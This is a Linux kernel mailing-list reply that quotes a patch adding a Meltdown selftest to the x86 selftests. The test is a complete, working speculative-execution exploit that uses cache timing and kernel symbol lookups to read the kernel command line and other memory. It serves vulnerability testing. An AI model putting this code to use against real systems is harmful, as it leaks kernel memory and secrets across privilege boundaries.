On Thu, 2023-01-19 at 19:15 +0200, Pavel Boldin wrote: > > Signed-off-by: Aaron Lu <aaron.lu@xxxxxxxxx> > Reviewed-by: Pavel Boldin <boldin.pavel@xxxxxxxxx> Thanks! > > -- > Sincerely, > Pavel Boldin > > P.S. Sorry for lagging, electricity & free time are hard to find > these days. Never mind, appreciate your time to review this patch. Best Regards, Aaron > > > diff --git a/tools/testing/selftests/x86/Makefile > > b/tools/testing/selftests/x86/Makefile > > index 0388c4d60af0..36f99c360a56 100644 > > --- a/tools/testing/selftests/x86/Makefile > > +++ b/tools/testing/selftests/x86/Makefile > > @@ -13,7 +13,7 @@ CAN_BUILD_WITH_NOPIE := $(shell ./check_cc.sh > > "$(CC)" trivial_program.c -no-pie) > > TARGETS_C_BOTHBITS := single_step_syscall sysret_ss_attrs > > syscall_nt test_mremap_vdso \ > > check_initial_reg_state sigreturn iopl > > ioperm \ > > test_vsyscall mov_ss_trap \ > > - syscall_arg_fault fsgsbase_restore > > sigaltstack > > + syscall_arg_fault fsgsbase_restore > > sigaltstack meltdown > > TARGETS_C_32BIT_ONLY := entry_from_vm86 test_syscall_vdso > > unwind_vdso \ > > test_FCMOV test_FCOMI test_FISTTP \ > > vdso_restorer > > diff --git a/tools/testing/selftests/x86/meltdown.c > > b/tools/testing/selftests/x86/meltdown.c > > new file mode 100644 > > index 000000000000..fcb211dc9038 > > --- /dev/null > > +++ b/tools/testing/selftests/x86/meltdown.c > > @@ -0,0 +1,529 @@ > > +// SPDX-License-Identifier: GPL-2.0-or-later > > +/* > > + * Copyright (c) 2018 Pavel Boldin <pboldin@xxxxxxxxxxxxxx> > > + * > > https://github.com/linux-test-project/ltp/blob/master/testcases/cve/meltdown.c > > + */ > > + > > +#define _GNU_SOURCE > > +#include <stdio.h> > > +#include <stdlib.h> > > +#include <stdint.h> > > +#include <stdarg.h> > > +#include <string.h> > > +#include <signal.h> > > +#include <ucontext.h> > > +#include <unistd.h> > > +#include <fcntl.h> > > +#include <ctype.h> > > +#include <sys/utsname.h> > > +#include <sys/mman.h> > > + > > +#define PAGE_SHIFT 12 > > +#define PAGE_SIZE 0x1000 > > +#define PUD_SHIFT 30 > > +#define PUD_SIZE (1UL << PUD_SHIFT) > > +#define PUD_MASK (~(PUD_SIZE - 1)) > > + > > +size_t cache_miss_threshold; > > +unsigned long directmap_base; > > + > > +#define TARGET_OFFSET 9 > > +#define TARGET_SIZE (1 << TARGET_OFFSET) > > +#define BITS_BY_READ 2 > > + > > +static inline uint64_t rdtsc(void) > > +{ > > + uint32_t eax, edx; > > + uint64_t tsc_val; > > + /* > > + * The lfence is to wait (on Intel CPUs) until all previous > > + * instructions have been executed. If software requires > > RDTSC to be > > + * executed prior to execution of any subsequent > > instruction, it can > > + * execute LFENCE immediately after RDTSC > > + * */ > > + __asm__ __volatile__("lfence; rdtsc; lfence" : "=a"(eax), > > "=d"(edx)); > > + tsc_val = ((uint64_t)edx) << 32 | eax; > > + return tsc_val; > > +} > > + > > +static inline void clflush(volatile void *__p) > > +{ > > + asm volatile("clflush %0" : "+m" (*(volatile char *)__p)); > > +} > > + > > +static char target_array[BITS_BY_READ * TARGET_SIZE]; > > + > > +static void clflush_target(void) > > +{ > > + int i; > > + > > + for (i = 0; i < BITS_BY_READ; i++) > > + clflush(&target_array[i * TARGET_SIZE]); > > +} > > + > > +extern char failshere[]; > > +extern char stopspeculate[]; > > + > > +static void __attribute__((noinline)) speculate(unsigned long > > addr, char bit) > > +{ > > + register char mybit asm ("cl") = bit; > > +#ifdef __x86_64__ > > + asm volatile ( > > + "1:\n\t" > > + > > + ".rept 300\n\t" > > + "add $0x141, %%rax\n\t" > > + ".endr\n" > > + > > + "failshere:\n\t" > > + "movb (%[addr]), %%al\n\t" > > + "ror %[bit], %%rax\n\t" > > + "and $1, %%rax\n\t" > > + "shl $9, %%rax\n\t" > > + "jz 1b\n\t" > > + > > + "movq (%[target], %%rax, 1), %%rbx\n" > > + > > + "stopspeculate: \n\t" > > + "nop\n\t" > > + : > > + : [target] "r" (target_array), > > + [addr] "r" (addr), > > + [bit] "r" (mybit) > > + : "rax", "rbx" > > + ); > > +#else /* defined(__x86_64__) */ > > + asm volatile ( > > + "1:\n\t" > > + > > + ".rept 300\n\t" > > + "add $0x141, %%eax\n\t" > > + ".endr\n" > > + > > + "failshere:\n\t" > > + "movb (%[addr]), %%al\n\t" > > + "ror %[bit], %%eax\n\t" > > + "and $1, %%eax\n\t" > > + "shl $9, %%eax\n\t" > > + "jz 1b\n\t" > > + > > + "movl (%[target], %%eax, 1), %%ebx\n" > > + > > + "stopspeculate: \n\t" > > + "nop\n\t" > > + : > > + : [target] "r" (target_array), > > + [addr] "r" (addr), > > + [bit] "r" (mybit) > > + : "rax", "ebx" > > + ); > > +#endif > > +} > > + > > +#ifdef __i386__ > > +# define REG_RIP REG_EIP > > +#endif > > + > > +static void sigsegv(int sig, siginfo_t *siginfo, void *context) > > +{ > > + ucontext_t *ucontext = context; > > + unsigned long *prip = (unsigned long *)&ucontext- > > >uc_mcontext.gregs[REG_RIP]; > > + if (*prip != (unsigned long)failshere) { > > + printf("Segmentation fault at unexpected location > > %lx\n", *prip); > > + abort(); > > + } > > + *prip = (unsigned long)stopspeculate; > > + return; > > +} > > + > > +static int set_signal(void) > > +{ > > + struct sigaction act = { > > + .sa_sigaction = sigsegv, > > + .sa_flags = SA_SIGINFO, > > + }; > > + > > + return sigaction(SIGSEGV, &act, NULL); > > +} > > + > > +static inline int get_access_time(volatile char *addr) > > +{ > > + unsigned long long time1, time2; > > + volatile int j __attribute__((__unused__)); > > + > > + time1 = rdtsc(); > > + j = *addr; > > + time2 = rdtsc(); > > + > > + return time2 - time1; > > +} > > + > > +static int cache_hit_threshold; > > +static int hist[BITS_BY_READ]; > > + > > +static void check(void) > > +{ > > + int i, time; > > + volatile char *addr; > > + > > + for (i = 0; i < BITS_BY_READ; i++) { > > + addr = &target_array[i * TARGET_SIZE]; > > + > > + time = get_access_time(addr); > > + > > + if (time <= cache_hit_threshold) > > + hist[i]++; > > + } > > +} > > + > > +#define CYCLES 10000 > > +static int readbit(int fd, unsigned long addr, char bit) > > +{ > > + int i, ret; > > + static char buf[256]; > > + > > + memset(hist, 0, sizeof(hist)); > > + > > + for (i = 0; i < CYCLES; i++) { > > + /* > > + * Make the to-be-stolen data cache and tlb hot > > + * to increase success rate. > > + */ > > + ret = pread(fd, buf, sizeof(buf), 0); > > + if (ret < 0) > > + printf("[INFO]\tCan't read fd"); > > + > > + clflush_target(); > > + > > + speculate(addr, bit); > > + check(); > > + } > > + > > + if (hist[1] > CYCLES / 10) > > + return 1; > > + return 0; > > +} > > + > > +static int readbyte(int fd, unsigned long addr) > > +{ > > + int bit, res = 0; > > + > > + for (bit = 0; bit < 8; bit ++ ) > > + res |= (readbit(fd, addr, bit) << bit); > > + > > + return res; > > +} > > + > > +static int mysqrt(long val) > > +{ > > + int root = val / 2, prevroot = 0, i = 0; > > + > > + while (prevroot != root && i++ < 100) { > > + prevroot = root; > > + root = (val / root + root) / 2; > > + } > > + > > + return root; > > +} > > + > > +#define ESTIMATE_CYCLES 1000000 > > +static void set_cache_hit_threshold(void) > > +{ > > + long cached, uncached, i; > > + > > + for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++) > > + cached += get_access_time(target_array); > > + > > + for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++) > > + cached += get_access_time(target_array); > > + > > + for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) { > > + clflush(target_array); > > + uncached += get_access_time(target_array); > > + } > > + > > + cached /= ESTIMATE_CYCLES; > > + uncached /= ESTIMATE_CYCLES; > > + > > + cache_hit_threshold = mysqrt(cached * uncached); > > + > > + printf("[INFO]\taccess time: cached = %ld, uncached = %ld, > > threshold = %d\n", > > + cached, uncached, cache_hit_threshold); > > +} > > + > > +static unsigned long find_symbol_in_file(const char *filename, > > const char *symname) > > +{ > > + unsigned long addr; > > + char type, *buf; > > + int found; > > + FILE *fp; > > + > > + fp = fopen(filename, "r"); > > + if (!fp) { > > + printf("[INFO]\tFailed to open %s\n", filename); > > + return 0; > > + } > > + > > + buf = malloc(4096); > > + if (!buf) > > + return 0; > > + > > + found = 0; > > + while (fscanf(fp, "%lx %c %s\n", &addr, &type, buf)) { > > + if (!strcmp(buf, symname)) { > > + found = 1; > > + break; > > + } > > + } > > + > > + free(buf); > > + fclose(fp); > > + > > + return found ? addr : 0; > > +} > > + > > +static unsigned long find_kernel_symbol(const char *name) > > +{ > > + char systemmap[256]; > > + struct utsname utsname; > > + unsigned long addr; > > + > > + addr = find_symbol_in_file("/proc/kallsyms", name); > > + if (addr) > > + return addr; > > + > > + if (uname(&utsname) < 0) > > + return 0; > > + sprintf(systemmap, "/boot/System.map-%s", utsname.release); > > + addr = find_symbol_in_file(systemmap, name); > > + return addr; > > +} > > + > > +static unsigned long saved_cmdline_addr; > > +static int spec_fd; > > + > > +#define READ_SIZE 32 > > + > > +static int test_read_saved_command_line(void) > > +{ > > + unsigned int i, score = 0, ret; > > + unsigned long addr; > > + unsigned long size; > > + char read[READ_SIZE] = { 0 }; > > + char expected[READ_SIZE] = { 0 }; > > + int expected_len; > > + > > + saved_cmdline_addr = > > find_kernel_symbol("saved_command_line"); > > + if (!saved_cmdline_addr) { > > + printf("[SKIP]\tCan not find symbol > > saved_command_line\n"); > > + return 0; > > + } > > + printf("[INFO]\tsaved_cmdline_addr: 0x%lx\n", > > saved_cmdline_addr); > > + > > + spec_fd = open("/proc/cmdline", O_RDONLY); > > + if (spec_fd == -1) { > > + printf("[SKIP]\tCan not open /proc/cmdline\n"); > > + return 0; > > + } > > + > > + expected_len = pread(spec_fd, expected, sizeof(expected), > > 0); > > + if (expected_len < 0) { > > + printf("[SKIP]\tCan't read /proc/cmdline\n"); > > + return 0; > > + } > > + > > + /* read address of saved_cmdline_addr */ > > + addr = saved_cmdline_addr; > > + size = sizeof(addr); > > + for (i = 0; i < size; i++) { > > + ret = readbyte(spec_fd, addr); > > + read[i] = ret; > > + addr++; > > + } > > + > > + /* read value pointed to by saved_cmdline_addr */ > > + memcpy(&addr, read, sizeof(addr)); > > + memset(read, 0, sizeof(read)); > > + printf("[INFO]\tsaved_command_line: 0x%lx\n", addr); > > + size = expected_len; > > + > > + if (!addr) > > + goto done; > > + > > + for (i = 0; i < size; i++) { > > + ret = readbyte(spec_fd, addr); > > + read[i] = ret; > > + addr++; > > + } > > + > > + for (i = 0; i < size; i++) > > + if (expected[i] == read[i]) > > + score++; > > + > > +done: > > + if (score > size / 2) { > > + printf("[FAIL]\ttest_read_saved_command_line: both > > high and low kernel mapping leak found.\n"); > > + ret = -1; > > + } else { > > + printf("[OK]\ttest_read_saved_command_line: no leak > > found.\n"); > > + ret = 0; > > + } > > + > > + close(spec_fd); > > + > > + return ret; > > +} > > + > > +static int get_directmap_base(void) > > +{ > > + char *buf; > > + FILE *fp; > > + size_t n; > > + int ret; > > + > > + fp = fopen("/sys/kernel/debug/page_tables/kernel", "r"); > > + if (!fp) > > + return -1; > > + > > + buf = NULL; > > + ret = -1; > > + while (getline(&buf, &n, fp) != -1) { > > + if (!strstr(buf, "Kernel Mapping")) > > + continue; > > + > > + if (getline(&buf, &n, fp) != -1 && > > + sscanf(buf, "0x%lx", &directmap_base) == 1) { > > + > > printf("[INFO]\tdirectmap_base=0x%lx/0x%lx\n", directmap_base, > > directmap_base & PUD_MASK); > > + directmap_base &= PUD_MASK; > > + ret = 0; > > + break; > > + } > > + } > > + > > + fclose(fp); > > + free(buf); > > + return ret; > > +} > > + > > +static int virt_to_phys(unsigned long virt, unsigned long *phys) > > +{ > > + unsigned long pfn; > > + uint64_t val; > > + int fd, ret; > > + > > + fd = open("/proc/self/pagemap", O_RDONLY); > > + if (fd == -1) { > > + printf("[INFO]\tFailed to open pagemap\n"); > > + return -1; > > + } > > + > > + ret = pread(fd, &val, sizeof(val), (virt >> PAGE_SHIFT) * > > sizeof(uint64_t)); > > + if (ret == -1) { > > + printf("[INFO]\tFailed to read pagemap\n"); > > + goto out; > > + } > > + > > + if (!(val & (1ULL << 63))) { > > + printf("[INFO]\tPage not present according to > > pagemap\n"); > > + ret = -1; > > + goto out; > > + } > > + > > + pfn = val & ((1ULL << 55) - 1); > > + if (pfn == 0) { > > + printf("[INFO]\tNeed CAP_SYS_ADMIN to show pfn\n"); > > + ret = -1; > > + goto out; > > + } > > + > > + ret = 0; > > + *phys = (pfn << PAGE_SHIFT) | (virt & (PAGE_SIZE - 1)); > > + > > +out: > > + close(fd); > > + return ret; > > +} > > + > > +static int test_read_local_var(void) > > +{ > > + char path[] = "/tmp/meltdown.XXXXXX"; > > + char string[] = "test string"; > > + unsigned long phys; > > + int i, len, ret; > > + char *result; > > + void *p; > > + > > + if (get_directmap_base() == -1) { > > + printf("[SKIP]\tFailed to get directmap base. Need > > root and CONFIG_PTDUMP_DEBUGFS\n"); > > + return 0; > > + } > > + > > + spec_fd = mkstemp(path); > > + if (spec_fd == -1) { > > + printf("[SKIP]\tCan not open %s\n", path); > > + return 0; > > + } > > + ftruncate(spec_fd, 0x1000); > > + > > + p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, > > spec_fd, 0); > > + if (p == MAP_FAILED) { > > + printf("[SKIP]\tmmap spec_fd failed\n"); > > + return 0; > > + } > > + memcpy(p, string, sizeof(string)); > > + > > + if (virt_to_phys((unsigned long)p, &phys) == -1) { > > + printf("[SKIP]\tCan not convert virtual address to > > physical address\n"); > > + return 0; > > + } > > + > > + len = strlen(string); > > + result = malloc(len + 1); > > + if (!result) { > > + printf("[SKIP]\tNot enough memory for malloc\n"); > > + return 0; > > + } > > + memset(result, 0, len + 1); > > + > > + for (i = 0; i < len; i++, phys++) { > > + result[i] = readbyte(spec_fd, directmap_base + > > phys); > > + if (result[i] == 0) > > + break; > > + } > > + > > + ret = !strncmp(string, result, len); > > + if (ret) > > + printf("[FAIL]\ttest_read_local_var: low kernel > > mapping leak found.\n"); > > + else > > + printf("[OK]\ttest_read_local_var: no leak > > found.\n"); > > + > > + free(result); > > + munmap(p, 0x1000); > > + close(spec_fd); > > + > > + return ret; > > +} > > + > > +int main(void) > > +{ > > + int ret1, ret2; > > + > > + printf("[RUN]\tTest if system is vulnerable to > > meltdown\n"); > > + > > + set_cache_hit_threshold(); > > + > > + memset(target_array, 1, sizeof(target_array)); > > + > > + if (set_signal() < 0) { > > + printf("[SKIP]\tCan not set handler for > > segfault\n"); > > + return 0; > > + } > > + > > + ret1 = test_read_local_var(); > > + ret2 = test_read_saved_command_line(); > > + > > + if (ret1 || ret2) > > + return -1; > > + > > + return 0; > > +} > > -- > > 2.39.0 > >